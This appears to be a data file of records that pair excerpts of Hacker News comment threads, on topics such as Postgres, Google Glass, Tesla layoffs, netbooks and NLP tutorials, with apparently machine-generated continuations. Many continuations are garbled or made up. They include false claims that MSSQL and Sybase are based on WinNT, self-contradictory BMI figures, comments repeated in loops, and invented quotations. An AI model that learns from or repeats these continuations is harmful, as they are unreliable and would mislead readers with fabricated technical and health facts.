38\nfeet because you where falling at the start of that second. Thus, it takes\nmore energy to increase your speed.\n\nPS: What's confusing about rockets, is your fuel has momentum. So, when use it\nyour consuming the energy it took to get that fuel up to speed with you.\nFurther, at low speed most of the energy goes into the exhaust not the rocket.\n\n~~~\nbabyrainbow\n>However, in the first second you fall 16 feet. in the next second you fall 38\nfeet because you where falling"} +{"output_text": "character sets.\n\n~~~\njsmith96\nI don't think this is true. MSSQL is based on Sybase, and Sybase is based on\nWinNT.\n\n~~~\nfrik\nMSSQL is based on WinNT and Win32. Sybase is based on WinNT and Win9x.\n\nWin9x is not Unicode, it's 8 bit. Sybase is Unicode but it's not UCS-2.\n\nSybase is the", "input_text": " but I have to take issue with point 1.4. Last I knew,\nPostgres had no support for stored procedures, which makes integration with\nprocedural languages almost useless.\n\n~~~\ndragonwriter\n> Last I knew, Postgres had no support for stored procedures, which makes\n> integration with procedural languages almost useless.\n\nSo, going through old docs, Postgres seems to have had stored procs using\nprocedural languages since at least version 7.1, released in April 2001. It\nclearly has had them for quite some time, at any rate.\n\n------\njpster\nAny recommendations for a really good PostgresSQL tutorial?\n\n~~~\nrallycarre\n[https://pgexercises.com/](https://pgexercises.com/)\n\nI've found it one of the best tutorials of anything on the web. It's\nchallenging and you learn through example.\n\n~~~\nnallerooth\nThanks, that looks great!\n\n------\nsankyo\nI cannot stand it when a post is not dated. How can I know that this isn't\nsome old, irrelevant comparison from 2001? It doesn't take much effort to add\na posting date.\n\n~~~\nanshou-\nThere doesn't appear to be any date on the site to indicate when it was\nwritten or updated.\n\n------\nfrik\nMSSQL's SQL syntax like that found in MSSQL 2012 is very outdated. Many old\nrusty parts of MSSQL date back to the Sybase, MSSQL is a fork of it. Also\nWinNT (incl Win10), MSSQL and most other MSFT software is UCS-2 which they\noften mislabel as UTF-16. UCS-2 cannot manage emoticons and other newer\n"} +{"output_text": "~~~\npjc50\n> E.g. if Russian and Chinese governments in the 20th century had not had the\n> power to override their citizen's freedom of choice and expropriate their\n> property, Stalin would not have been able to conduct his purges, Mao would\n> not have been able to conduct his great leap forward, the great famine would\n> not have been avoided, saving close to a hundred million lives.\n\nThe Soviet Union was a state", "input_text": " away from genocide. And I don't know if the world will go to\nwar with the US over that.\n\n~~~\nlogicchains\nSo the problem with Facebook is that powerful governments might use their data\nto do horrible things, and the solution is to give governments even more power\nover our lives by letting them dictate what sites we're allowed to visit? If\nthere wasn't so much of this \"oh no, a problem, better get the government to\nsolve it\" thinking in the first place, the US government would never have\ngotten as powerful as it has.\n\n~~~\nlagadu\n> \"oh no, a problem, better get the government to solve it\"\n\nErm, that's exactly why we have governments: to solve society-level problems.\n\n~~~\nlogicchains\nYes but governments also cause problems, and if they get big enough the cure\ncan be worse than the disease. E.g. if all governments in Europe had not had\nthe power to override citizens' freedom of choice by drafting them and taking\ntheir factories to make bombs, there'd have been no WW1, saving tens of\nmillions of lives. If Russian and Chinese governments in the 20th century had\nnot had the power to override their citizen's freedom of choice and\nexpropriate their property, Stalin would not have been able to conduct his\npurges, Mao would not have been able to conduct his great leap forward, the\ngreat famine would have been avoided, saving close to a hundred million lives.\n\nAs the quote goes, \"A government big enough to give you everything you want,\nis a government big enough to take away everything that you have.\". People\nthink \"oh it couldn't happen here\"; well that's what people in Germany thought\nin the 1930s.\n\n"} +{"output_text": "-7-11-drink-we-\nlove-so-much/) )\n\n~~~\nDanBC\n> _Todd is a bit overweight, but not obese. He is in the healthy weight range\n> (between 18 and 24.9 percent body weight, or BMI of between 25 and 29.9)._\n\n> _Todd is a bit overweight, but not obese. He is in the healthy weight range\n> (between 18 and 24.9", "input_text": " sites I\nvisit, there isn't much of a difference (anymore). Websites have realized that\nhaving fewer high-quality ads is better than having a massive number of crap\nads.\n\n \n\nThe Average American Man's Body - r0h1n\nhttp://www.theatlantic.com/health/archive/2013/10/this-is-the-average-mans-body/280194/\n\n======\nDanBC\nThe worrying thing about this is the shift in perception.\n\nMost people are going to put Todd at \"a bit over weight\", but not \"near\nobese\". Add a few kilos to Todd to tip him into obesity, and most people are\nnot going to see much difference.\n\nGive people a Todd image of BMI > 35, with no physical activity, and still\nmost people aren't going to call that Todd obese. And if it's a woman the\ndiscussion suddenly becomes polarised with accusations of \"fat shaming\" and\n\"healthism\" and \"nanny state\" and \"causing eating disorders\". Very obese women\nare called \"curvy\" or \"voluptuous\". Any attempt to discuss the health effects\nof over weight are dismissed as a fascistic attempt to control other people.\n\nThere are so many _weird_ ideas around obesity - \"it's not sugar, it's high\nfructose corn syrup! We weren't overweight until HFCS!\". Maybe HFCS is worse\nthan regular sugar, but we also didn't use to drink 64 fluid ounces of 10%\nsugar syrup.\n([http://www.todayifoundout.com/index.php/2010/01/the-7-11-dou...](http://www.todayifoundout.com/index.php/2010/01/the"} +{"output_text": " Glass interface for recording sounds was pretty bad.\n\n------\njokoon\nI wonder if this will be used for augmented reality in the operating room. I\nthink it would be very interesting to see what is going on in there.\n\n------\njokoon\nI wonder if this will be used for augmented reality in the operating room. I\nthink it would be very interesting to see what is going on in there.\n\n------\njokoon\nI wonder if", "input_text": " it when they abandoned it, because I was so excited about the tech for\nso long. I think maybe the public just wasn't ready for it then. They probably\nstill aren't now, but this could be an excellent way for them to get more\ncomfortable with it.\n\n------\nmegamindbrian\nThis is such bullshit. I applied for their private beta and never got a\nresponse.\n\n------\nsharemywin\nAw...how cute they look like little borg lite.\n\n------\nj_hall_in\nLooks like they are using the strategy of Microsoft HoloLens here which I\nthink makes sense. There isn't enough wide-spread value add in these augmented\nreality headsets for general consumer use yet, but businesses will help drive\ninnovation until that time comes.\n\n------\nMBCook\nA lot of fluff here, but not much substance. I see how having large manuals or\npaper lists in your field of view could be very useful.\n\nDoes it work well for employees with classes?\n\nI assume they've updated the chip inside to something less power-hungry. Does\nit get reasonable battery life now?\n\nWhy do doctors need Glass to record notes in the background? Couldn't _any_\ncomputer run that software?\n\n~~~\ndjsumdog\n> Why do doctors need Glass to record notes in the background? Couldn't any\n> computer run that software?\n\nI'm guessing this might have to do with voice recognition tech and the doctor\nbeing able to see the notes visually. If it picks up something incorrectly,\nmaybe the doc just turns to the computer and corrects it?\n\n~~~\njfoster\nStill sounds as though a laptop would be better. Perhaps it's now improved,\nbut the"} +{"output_text": " abstraction.\n\n------\njellicle\n> The law is not designed to protect consumers. It\u2019s designed to protect\n> credit card companies, which are the only entities that have a vested\n> interest in seeing that the law is not changed.\n\nThis is a very odd thing to say. The law is designed to protect consumers from\nfraud, and it's designed to protect credit card companies from fraud.\n\nThe law is designed to protect consumers from fraud by", "input_text": " and what his incentive\nwould be.\n\n------\nJd\nEven though I'm not a huge Greenspan fan (are there any?), I find this money\ntransmitter stuff incredibly fascinating. I haven't reviewed the relevant\nlegal code, but I strongly suspect that Greenspan is right in that:\n\n(1) there are lots of little annoying laws related to money transmitters that\nmakes it very difficult to get new payment stuff off the ground\n\n(2) If you have deep pockets and good lawyers you can pretty much ignore these\nlaws\n\nI strongly suspect that the correct solution is to change the laws, but that\nthis is also an even greater pain in the ass than protecting yourself with\nhighly paid lawyers, esp. since relevant laws vary significantly from state to\nstate. What exactly Greenspan is attempting to prove here is beyond me, but\nI'm still quite curious as to the results.\n\n~~~\nigravious\nAhh, is this why all these tech giants use a non-money credit system for their\nstores and networks: Sony, Apple, Microsoft, Amazon(?),... there must be many\nmore.\n\n~~~\ngeorgeecollins\nThe reason why companies use points instead of $ is: 1) Easy to keep the price\nconsistent world wide 2) There is a casino chip theory that you spend more\nmoney when it is abstracted. People spend more when they use their credit\ncards as opposed to cash, etc. 3) You can sell point cards at retailers to the\nunbanked. In the Xbox case this is important because a lot of your audience is\nkids.\n\n~~~\nbobsoap\n2) is on the spot. As soon as you introduce an abstract that is one step\nremoved from money, people are more willing to gamble with that"} +{"output_text": "~~~\nWalterBright\nI'm just saying that it's not a reasonable basis for a raise.\n\n------\njrockway\nI have a hard time believing that the author's salary was $100k/year. The\narticle is full of vague references to \"my friends\" and \"$200k/year\". I'm\npretty sure that \"$200k/year\" is a typo for \"$100k/year\", but \"$200k/year\"\nse", "input_text": " seminar where they welcomed you to the company.\nWhen the woman said \"we get 19 days PTO a year\", you'd be surprised how many\npeople shot up and said \"can we start taking them right now?\"\n\nBefore they had even worked a day! PTO days are accurred by hours worked. For\nme, it's ~6 hours per 15 calendar days. You think you're entitled to PTO\nhaving worked 0 hours?...\n\n~~~\njkaplowitz\nFor vacation days, your point makes sense to me. For sick days, people don't\nget to choose when they get sick. Someone can just as easily get sick on day 1\nor 2 of a job as on day 401 or 402.\n\n~~~\nWalterBright\nI once talked to a manager about how he handed out raises. He mentioned one\nengineer who was sick exactly 10 days out of each year. Coincidentally, the\ncompany offered 10 days of paid sick leave a year.\n\nHe laughed, and said she wasn't fooling anyone, and didn't give her a raise.\n\n~~~\nlkey\nSo he decided he'd figured out her scam without ever bringing it up in yearly\nor monthly review. He also never asked for proof of the 10 days of sick leave\nafter the first year, which is reasonable to do if he had a suspicion she was\nflouting a rule. If he wanted to factor sick days into his pay decision, he\nhad a _responsibility_ to make sure he was correct using the proper internal\nchannels.\n\nAn alternate and equally plausible view is that she had a condition that\nrendered her borderline ill more than 10 days a year, but couldn't afford to\ntake unpaid leave. So she just 'toughed it out' instead for the remaining\ndays.\n\n"} +{"output_text": "anta.techvillage.com/event/detail/5-minute-\npitching...](https://atlanta.techvillage.com/event/detail/5-minute-pitching-\nfor-startups)\n\n------\njoeblau\nI would reach out to the local startup groups in your area. I know that\nSilicon Valley has a lot of great groups, but I also know that there are\ndifferent groups for different cities. I would", "input_text": " (ok, great) or\nby \"other players\" (well..)?\n\nIt seems you need to reach 10,000 points which a lot.\n\n~~~\nlegionof7\nI won Pioneer a little more than a year ago. It's been absolutely amazing for\nus and we met great people through it. Best benefit has definitely been the\ncommunity you join.\n\nProjects are voted on by experts and other players.\n\n------\nAlchemistCamp\nFundraising is just about the least meritocratic part of startups. Depending\non your social circle and markers of class, the process can be very easy or\nnear impossible for a first time founder. For most, it's extremely difficult\nto get someone to invest in your company when you're still working a full-time\njob on something else.\n\n> the one thing we want most in life is to work on our product full-time\n\nCan you cut expenses and live off of savings for a few months? If not, can you\nself-fund it as a side project until it can cover your living expenses?\n\n~~~\nBasDirks\n> Can you cut expenses and live off of savings for a few months?\n\nWe are definitely considering this.\n\n~~~\nAlchemistCamp\nThere's also no shame in taking it on in a way such that's more of a lifestyle\nbusiness than a startup.\n\nThe primary reason Alchemist Camp exists is so I can later self-fund the much\nmore ambitious startup I couldn't raise money for previously.\n\n------\nfma\nDo you have local incubators nearby? They will have pitch events and other\nresources.\n\ni.e. I live in Atlanta and here's just one random event I found at Atlanta\nTech village.\n\n[https://atl"} +{"output_text": " made is not a good one. He's\ngoing to need to make a lot more sacrifices than a normal CEO would have to\nbefore he loses the public's support.\"\n\n~~~\njblow\nYou are counting the number of people who work for Tesla right now, and the\nnumber who would have worked for Tesla but for this announcement. You are not\ncounting the number of people who would not have worked for Tesla but for this\nannouncement.\n\nSo your", "input_text": "FromUranus\nThat won't happen. I don't think'regime change' is going to come off the\nforeign policy menu, nor is paying back all the debt that is owed. So the\nspace money is going to be eaten by debt payments and more'regime change'\ninitiatives around the world. I forgot all about foreign policy, I thought\nthere would be no money before, now i KNOW there will be no money for any of\nthat.\n\n------\n_Codemonkeyism\nAgain?\n\n------\nIBM\nThis is definitely the move of a company in the process of scaling up\nproduction of their mass market vehicle that their valuation hinges on.\nDefinitely not about managing cash flow.\n\n~~~\ngowld\nThere's no need for sarcasm. Have confidence in yourself that you can speak\nplainly and the import of your comment will be undesrtand.\n\n~~~\nRivieraKid\nI appreciate the sarcasm, adds spice to the discussion. Nothing to do with\nconfidence, that's just your attempt at putting the guy down.\n\n------\nstevievee\nTesla and SpaceX are businesses and I never understood the public fandom\nbehind them and Elon Musk. 3,500+ people losing their jobs is pretty\nsignificant for a leader who touts altruism as one of his top motivators.\n\n~~~\njblow\nYou are not going to count all the jobs he created in the first place, and the\nyears of gainful employment those 3500 people had? It\u2019s just all negative in\nyour estimation?\n\n~~~\nstevievee\nWhat an oversimplification of my comment. I'll oversimplify it for you so you\ncan't misinterpret it: \"This decision he just"} +{"output_text": " project, but I'm not sure I understand the point. I've never\nencountered a project that uses a custom protocol.\n\n~~~\njwilber\nI've never encountered a project that uses `jscodes` either, but I've seen it\nin the wild.\n\nIt's a pretty neat library and I've been meaning to learn more about it.\n\n~~~\njwilber\nI guess I should have been more clear. I've never seen", "input_text": "jaymzcampbell\nSimilar to the other comments, another voice here for appreciating the \"pre-\nbuilt\" version being available for quick use. For repo's/sources like this I\ntend to think of the prebuilt formats as letting me play around with things\nwithout any hassle. Once I'm happy with it I'll invest the time to have it\nbuild locally for the control.\n\n------\nchiph\nYou might want to include common unix shell commands. At a previous job we had\na customer with the last name of Echo who wasn't able to make a purchase.\nTurns out our credit card processor blocked them.\n\n~~~\nNormal_gaussian\nJesus. Which credit card processor? That stinks of bad design.\n\n~~~\nchiph\nGiven how often they came under attack, I don't blame them for taking a \"belt\nand suspenders\" approach.\n\n~~~\npaulddraper\nMore like \"belt and helium balloons\" approach.\n\n------\nbsimpson\nTIL: `mocha:` was a custom schema that Netscape Navigator used to eval URLs\n(equivalent to `javascript:`), and Yahoo! Mail would replace it with\n'espresso' to attempt to thwart phishing attempts:\n\n[https://www.obscure.org/javascript/archives/msg01369.html](https://www.obscure.org/javascript/archives/msg01369.html)\n\n[https://www.cnet.com/news/yahoo-mail-puts-words-in-your-\nmout...](https://www.cnet.com/news/yahoo-mail-puts-words-in-your-mouth/)\n\n------\nthomasahle\nThis is a fun"} +{"output_text": " million more votes than the Conservatives, but still lost\nthe election.\n\n~~~\narethuza\nI'm British and I can assure you that the \"voter turnout\" issue is massively\nexaggerated - at least in my part of the world.\n\nI can remember voting for the Labour Party in every election since 1983 -\nexcept for the last election when I voted for the Lib Dems (who I voted for\nagain in 2010).\n\nIn each of those", "input_text": " concentrated in a much smaller number\nof people.\n\nThe founders and implementors of the EU \"project\" used the term \"ever tighter\nintegration\" in their founding documents, where they laid out their vision for\na United States of Europe.\n\nThey even describe how they intended to implement this via a technique called\n\"gradualism\". The idea being that big sweeping reforms would be rejected by\nthe individual polities, but that more gradual, subtle changes spread over\ntime could achieve the same effect without the same resitance. And we have\nseen this in action over the past forty years.\n\nA bit like the apochryphal boiling of a frog.\n\nThe problem is that this is in some sense subversive and in another,\npresumptious that the EU project is desired and/or sensible. At some point the\nfrog metaphor breaks down and people begin to realize what is happening and\nwhat has happened.\n\nAnd in the UK at least, finally, we are beginning to see a debate being held\non the desirability of the EU being a _political_ union (rather than the more\nprosaic free-trade area).\n\n~~~\nhigherpurpose\nAll democratic republics are in dire need of an overhaul for the 21st century.\nHowever, US and UK tend to be worse than many because of the first past the\npost voting system.\n\n~~~\nminot\nI feel bad for the voters in the UK. LD got trounced in this election but in\nthe previous two elections they had 22 and 23 percentage of votes.\n\nIn 2010, Conservatives had 47% of the seats with 36 percent of votes. Labor\nhad almost 40% with 29% of the votes. LD had 8% with 23% of votes. Even in\n2015, they had 1.2"} +{"output_text": "bitcoin-java](https://groups.google.com/forum/m/#!forum/bitcoin-java)\n\n------\njrochkind1\nI think the idea of a name service that doesn't require the central\nauthority/registrar to be able to do anything useful is a really interesting\nidea.\n\nBut the article seems to be saying that Namecoin is a central authority\n_preventing_ Name Servers from doing anything useful. That", "input_text": " all networks in the world would share combined CPU power, increasing\nthe total strength. It would make it easier for small networks to get started\nby tapping into a ready base of miners.\"\n\n\"@dtvan: all 3 excellent points. 1) IP records don't need to be in the chain,\njust do registrar function not DNS. And CA problem solved, neat. 2) Pick one\nTLD,.web +1. 3) Expiration and significant renewal costs, very important.\"\n\n~~~\nbaddox\nJacobAldridge asked whether there is a better overview of Namecoin than it's\nWikipedia page. Having read the Wikipedia page and the Namecoin homepage you\nlinked, I can confidently say that the former is a much more detailed and\ninformative overview.\n\n~~~\nbachback\nstrangely enough there are a million people who know about this project and\n1-2 actually participate. it's a wiki and opensource project, so everyone in\nthe world is free to contribute. same with bitcoin. roughly 5 active\ndevelopers at the moment, working mostly in their spare time.\n\n~~~\nwcoenen\nLook at the list of contributors at the end of the release notes of the\nupcoming 0.9.0 release of the bitcoin reference client[1]. Or look at the\nactivity of other projects, e.g. the bitcoinj google group[2]. There's a lot\nmore than 5 people working on bitcoin.\n\n[1]\n[https://bitcoin.org/bin/0.9.0/test/README.txt](https://bitcoin.org/bin/0.9.0/test/README.txt)\n\n[2]\n[https://groups.google.com/forum/m/#!forum/"} +{"output_text": "ual_machine_translation)\n\n------\njph98\nI'm not sure I understand the purpose of this. I thought the idea of a word\nembedding was to represent the meaning of a word in a context.\n\nIf you have a word embedding for a word in one language and you want to\ntranslate it into another language, why would you need the original word\nembedding?\n\n~~~\nnl\nThe idea is to use a word embedding to represent the", "input_text": "A7%D9%84#Arab...](https://en.wiktionary.org/wiki/%D8%B4%D9%85%D8%A7%D9%84#Arabic)\n[https://en.wiktionary.org/wiki/%D8%A3%D9%8A%D8%B3%D8%B1#Arab...](https://en.wiktionary.org/wiki/%D8%A3%D9%8A%D8%B3%D8%B1#Arabic)\n[https://en.wiktionary.org/wiki/%D8%A3%D9%8A%D9%85%D9%86#Arab...](https://en.wiktionary.org/wiki/%D8%A3%D9%8A%D9%85%D9%86#Arabic)\n\n------\nnl\nThis is pretty interesting, and something I've played around with too\n(although not to the extent they have - I was playing with aligning word\nembedding and using them for cross lingual tasks).\n\nGoogle released a paper[1] doing zero-shot translation between unseen pairs.\nThat relied on a shared representation which they called \"interlingua\", and\nthat seems quite similar to this\n\n[1] [https://research.googleblog.com/2016/11/zero-shot-\ntranslatio...](https://research.googleblog.com/2016/11/zero-shot-translation-\nwith-googles.html)\n\n~~~\nunhammer\n[https://en.wikipedia.org/wiki/Interlingual_machine_translati...](https://en.wikipedia.org/wiki/Interling"} +{"output_text": " article glosses over one of the biggest reasons why the app store model\nhas been so successful: it's that the consumer is the product.\n\nThe consumer is the one who pays for the device, the data plan, the\nsubscription to the app store, etc. The consumer is the one who pays for the\n\"platform\" services like push notifications, the ability to host the\n\"backend\" of the app (the backend being the ability to do things like\ncalcul", "input_text": "-trust enforcement, maybe they\ncan become a test case for lawmakers looking for loss of competition and\nconsumer choice. (Although existing lobbying dollars from Google, Apple,\nFacebook, & company may be effective in holding back representatives. Money in\nhand, in election season no less.)\n\nEpic Games can show just how much the on-going appstore tax prevent new\nbusiness models from taking hold. They shown an incredible ability to entice\npeople to separate from their money, even convinced Disney?! to partner for\nbranded content.\n\nAlongside Epic Games licensing of the Unreal Engine at-or-below cost (12%\n[1]), I believe Sweeney's commitment to growing a \"Metaverse\" market at the\nexpense of Epic's short-term profit.\n\nThis comes alongside EPIC(.org)'s comparisons about American vs Chinese &\nemerging markets competitiveness, linked today [2].\n\n[1]:\n[https://www.matthewball.vc/all/themetaverse](https://www.matthewball.vc/all/themetaverse)\n[2]: [https://epic.org/foia/epic-v-ai-\ncommission/EPIC-19-09-11-NSC...](https://epic.org/foia/epic-v-ai-\ncommission/EPIC-19-09-11-NSCAI-FOIA-20200331-3rd-Production-pt9.pdf)\n\n~~~\nmschuster91\nIsn't Congress on summer vacation and then they'll all be fighting for\nreelection anyway? I hardly doubt anything will get passed until next year if\nit's not important enough to get a bipartisan vote.\n\n------\nnsgoetz\nThe"} +{"output_text": "reed. Scott Patterson is a sell out.\n\n------\njoe_the_user\nI'm not sure this is a good argument. It's true that the SEC has been\n\"oversight\" of HFTs and that it's not clear that the rules are serving the\ninvestors best. But it's also true that the SEC is a regulatory body and that\nthe rules are often written with the best of intentions but then get\nenforced/applied with all sorts", "input_text": "self you would still feel miffed that you were not given a larger\ndiscount.\n\nI admit my example doesn't have very realistic numbers.\n\n~~~\nkasey_junk\nI think he pretty clearly comes down against false advertising and giving up\nyour fiduciary duty to your clients. Those are the real issues in the court\ncase.\n\nHis main point, and one that seems to be missing in most articles about dark\npools, hft, etc. is that buy side investors are as sophisticated (or should be\nif they are to get away with charging their crazy management fees) as sell\nside participants. The whole reason they have high paying finance jobs is to\nprovide to their clients the service of making sure they are getting the best\nexecution they can.\n\n------\nmindcrime\nStrangely enough, I had never heard of a \"darkpool\" until today. I bought\n_Flash Boys_ at the airport bookstore earlier, and read it on the plane just\nnow. And tonight I find a reference to darkpools on the HN front-page. Hmmm.\nTruth really is stranger than fiction sometimes.\n\nAnyway, FWIW, if anybody here hasn't read _Flash Boys_ by Michael Lewis, it's\na pretty interesting read that covers some ground related to the content of\nthis article: HFT, dark-pools, etc. I understand that it's not without some\ncontroversy, but I found it damn interesting all the same.\n\n~~~\nkasey_junk\nAs someone who has worked in the industry, Flash Boys is literally the worst\nintro you could find into electronic trading. Dark Pools by Scott Patterson is\nmuch, much better (and even it gets basic facts incorrect).\n\n~~~\nazmenthe\nAg"} +{"output_text": " like the HP Omen.\n\n~~~\njames_s_tayler\nI think Apple's goal is to replace their x86 line of products.\n\n~~~\npjmlp\nThey already did it with the MacBook Air, which was the first Intel\nimplementation of a mobile laptop with a decent amount of GPU.\n\n~~~\nmikegerwitz\nThey also did it with the iPhone, which was the first ARM-based device with a\nde", "input_text": "or is just willing to lose the developer\naudience), but it's a gamble.\n\nLots of developers don't need to deploy code to servers, of course, but it's\neasy to see a situation where the momentum is felt by all. macOS's UNIX\nsupport has made it, well, I don't quite want to call it the \"de-facto\"\ndevelopment platform, but something approaching that status.\n\n------\nannoyingnoob\nApples extends its ARM, gives Intel the finger.\n\n~~~\nkiplkipl\nHoping for a job with El Reg?\n\n------\nGiorgioG\nAnd with Apple moving to ARM, any hope of serious gaming on a Mac will be\ngone.\n\n~~~\nyborg\nThat ship sailed decades ago. Rightfully so, because everyone that has the\nmoney for a Mac can easily buy a console, and much gaming has shifted to\nmobile platforms. Unless you think rainbow colored keyboard backlighting is a\nkey innovation area for a computer company, the gaming market is a complete\nwaste of time except for driving graphics hardware, which Apple has always\nlagged at even for their Pro products.\n\n~~~\nGiorgioG\nSome of us can afford Macs and consoles, but still prefer a computer for\nplaying games (graphics, kb/mouse controller, load times, etc.)\n\n------\nwilsonfiifi\nI\u2019m not sure Apple\u2019s goal is to replace their x86 line of products; that will\nalienate too many users and would involve a huge number of software to be\nported to ARM. I think they\u2019re probably going to release an iPadOS device in a\nlaptop form factor. Either foldable like the Lenovo Yoga or with a detachable\nkeyboard"} +{"output_text": " author is confusing correlation and causation.\n\n~~~\nchrisco255\nAgreed. I think the author is conflating drinking alcohol with drinking\nalcohol in moderation.\n\nAlcohol in moderation is not a problem.\n\nDrinking 2-3 drinks a day is a problem.\n\n~~~\ncyorirack\nI agree. I think the author is conflating drinking alcohol with drinking\nalcohol in moderation.\n\nAlcohol in moderation is not a problem", "input_text": "> Australia is not as bad because of the sport culture. \"My personal trainer\n> said no\" is acceptable and most places I have work have had a mild to zero\n> drink culture.\n\nThat's a pretty specific edge case.\n\nIf you're sitting at the pub with friends or work colleagues and you're the\nonly one not drinking, you can expect some irritating comments.\n\nI've learned to deal with it. I've figured out the main reason people push a\ndrink on you is to justify their bad choices (e.g if you're at the pub with\nBob and he's sinking 12 pints tonight, he doesn't want a reminder that he's\nkilling his body and will have a terrible hangover in a few hours).\n\n~~~\nboblebricoleur\nWhen I tried to stop drinking in college, I used to fill empty beer bottles\nwith water to drink at parties. This helped a lot with social pressure. I\nreckon one could do the same in a pub if the bartender is understanding and\ndiscrete, but I never tried it.\n\n~~~\nchrisco255\nNowadays just get some Topo Chico (carbonated water) or you can drink the\nHeineken Zero.\n\n------\nwetpaws\nI did it for year. Two big benefits: first, you are loosing weight (I lost ~10\npounds) and second, craving has gone. It was seriously concerning me and a big\nmotivator to quit.\n\nI did not find much difference in how I feel, but at least this disgusting\nfeeling in your mouth in the morning has gone too.\n\n------\ncyorir\nBinge drinking is not synonymous with alcoholism, but comes with many\ndownsides nevertheless. The"} +{"output_text": "Processing.html)\n\n[https://nlp.stanford.edu/pubs/index.html](https://nlp.stanford.edu/pubs/index.html)\n\n------\njph98\nI found this really useful for getting started with NLP\n[https://www.packtpub.com/books/application-development/master...](https://www.packtpub.com/books/application-\ndevelopment/mastering-", "input_text": " for NLP, in PyTorch:\n[https://github.com/spro/practical-pytorch](https://github.com/spro/practical-\npytorch)\n\nSo far it covers using RNNs for sequence classification and generation, and\ncombining those for seq2seq translation. Next up is using recursive neural\nnetworks for structured intent parsing.\n\nPS: To anyone who has searched for NLP tutorials, what tutorial have you\nwanted that you couldn't find?\n\n------\nstared\nSee links in here: [http://p.migdal.pl/2017/01/06/king-man-woman-queen-\nwhy.html](http://p.migdal.pl/2017/01/06/king-man-woman-queen-why.html).\nEspecially:\n\n\\- Python packages: Gensim, spaCy\n\n\\- book:\n[https://web.stanford.edu/~jurafsky/slp3/](https://web.stanford.edu/~jurafsky/slp3/)\n\n------\ndemonshalo\nI think the best way to start is tackling a specific problem. Ex. Try building\na summarizer for any given piece of text.\n\nStart by using traditional statistical methods first in order to understand\nwhat works and what doesn't. From there, you can go on to work on an ML\nsolution to the same problem in order to see the actual difference between the\ntwo approaches in terms of comparable output.\n\n------\nnavyad\nAlso helpful to read some research papers\n\n[https://research.google.com/pubs/NaturalLanguageProcessing.h...](https://research.google.com/pubs/NaturalLanguage"} +{"output_text": " is that the business\nowner is often the one who is not used to managing a business. He or she\ndoesn't know what to do with people, and so gets people fired, laid off, or\nquit. This is a very human thing.\n\n------\nbeat\nI've been thinking a lot about this lately. I'm a big fan of agile, and I\nbelieve in the value of continuous improvement. But I'm not sure Scrum is the\nanswer.", "input_text": "\n\nA lot of these software process issues boil down to managements never ending\nquest to commoditize developers.\n\n~~~\nbeat\nThere's an analogy I like to use... you're baking bread. Bread is just flour,\nwater, yeast, and salt, plus maybe decoration ingredients. You mix things in\nthe correct proportions, let it rise, bake at the right temp/time, and you get\nbread. Easy, right? Then someone wants you to put in raisins. \"It should be\neasy! It's just a handful of raisins, I don't see why you're telling me it\ncan't be done!\", they shout, five minutes before the oven timer goes off.\n\nScrum is, at heart, _designed precisely to stop the behavior you're\ndemanding_ \\- that is, the endless stream of \"small\" interruptions and\nconstantly shifting priorities. The raisins.\n\nWhy are you trying to \"shoe horn in work\" for _this iteration_ that you\nweren't aware was even an issue when the iteration planning happened? Is\nproduction down? Is it a hair-on-fire emergency that threatens the business?\nOr is it just \"important\". FUCK important. If it's so important, put it in the\nstory backlog and have it done in the next iteration.\n\nIf it's important enough to disrupt the iteration, it's important enough to\ncancel the iteration, toss all that iteration's unfinished work onto the\nbacklog, and start over. That's how Scrum is supposed to work, but never does,\nbecause _someone_ wants raisins at the last minute and thinks it's not a big\ndeal.\n\n~~~\nNomentatus\nYes, I have seen businesses die, both ways. The problem"} +{"output_text": " we can survive a\nsituation that we can't even handle with the same level of stupidity that we\nhave is just plain stupid.\n\n~~~\nkraftman\n> the concept of less\n\nLess than what though?\n\n> I love to quote idlewords on this all the time, but we as a species can't\n> even handle male pattern baldness\n\nI don't understand this.\n\n~~~\nexergy\nLess than the current level of", "input_text": "als\" on Netflix if they want a more\ndetailed explanation of problems and potential solutions. Trailer:\n[https://youtu.be/Mmqqi_DnPEE](https://youtu.be/Mmqqi_DnPEE)\n\n~~~\nkraftman\nAny suggestions for the best place to donate to have the most impact?\n\n~~~\nselectodude\nI mean, the coral are dying because the ocean temperature has gotten too high.\nDonate to yourself and stop using fossil fuels, that\u2019s the only way out at\nthis point.\n\n~~~\nkraftman\nFirst of all, it's clearly not the only way out, because the comment I replied\nto shows at least another way worth exploring.\n\nSecond of all, me reducing my fossil fuel usage to 0 wouldn't magically drop\nindustrial fossil fuel usage to 0, so that's not even a solution to the\nproblem.\n\nA new technology or enforced policy would have a much greater effect.\n\n~~~\nexergy\n> A new technology\n\nThis attitude in the general public is our death knell. The only, and I do\nmean ONLY, solution to not fucking up the environment beyond repair is the\nconcept of less.\n\nLess SUVs, less air travel, less fast fashion, less computer monitors, less\nphones replaced less quickly, less heating and cooling of our homes and more\ngetting acclimated to the climate, less fucking juiceros and interent\nconnected butt-plugs, less non-seasonal vegetables and meat, less eating of\nbeef and pork and chicken and more plants. Reduce.\n\nI love to quote idlewords on this all the time, but we as a species can't even\nhandle male pattern baldness. To somehow expect that"} +{"output_text": " this thread, I think the author made a good decision to\nfocus on the hardware market. The software market is much bigger and more\ncomplex.\n\n------\njunklight\nI think the netbook market was doomed from the start.\n\nFirst the price. You can buy a laptop with a decent processor for \u00a3300 or so\nand it will last a lot longer. A decent netbook starts at \u00a3200 and you get\nwhat you get.\n\nSecond the form", "input_text": "\neditor does fine, or something light like Qt Designer. This is why I\nexplicitly added \"if you don't use eclipse\" :-) You have to be a bit creative\nwith resources, if you expect a full high-profile dev machine you're indeed\nnot well-off with a netbook.\n\nAnd indeed, finding one with decent battery life can be a bit of a challenge.\n\nAnd yes, $1000 versus $350 matters for a lot of people, we're not all silicon\nvalley rock stars. Also if you, for example, use the device in risky/dirty/etc\nenvironments, you'd usually want to settle with something easily replacable.\n\n------\nbryanlarsen\nNobody killed the netbooks. They aren't dead.\n\n[http://liliputing.com/2011/06/survey-netbooks-are-just-as-\npo...](http://liliputing.com/2011/06/survey-netbooks-are-just-as-popular-as-\ntablets-plenty-of-people-dont-care-at-all.html)\n\n[http://hardware.slashdot.org/story/11/06/24/0426232/Who-\nKill...](http://hardware.slashdot.org/story/11/06/24/0426232/Who-Killed-the-\nNetbook)\n\n~~~\nFilterJoe\nAgreed. After reading this post, I looked on Amazon and saw that a variety of\nEEE PC and Samsung netbooks are still for sale in the $200-$400 price range. I\nalso found that around 30 million netbooks are expected to be sold in 2011.\nNot dead.\n\nGiven the subject of"} +{"output_text": "me\nde la creme' of dictionaries.\n\n~~~\nmjn\nI thought that was a reference to the 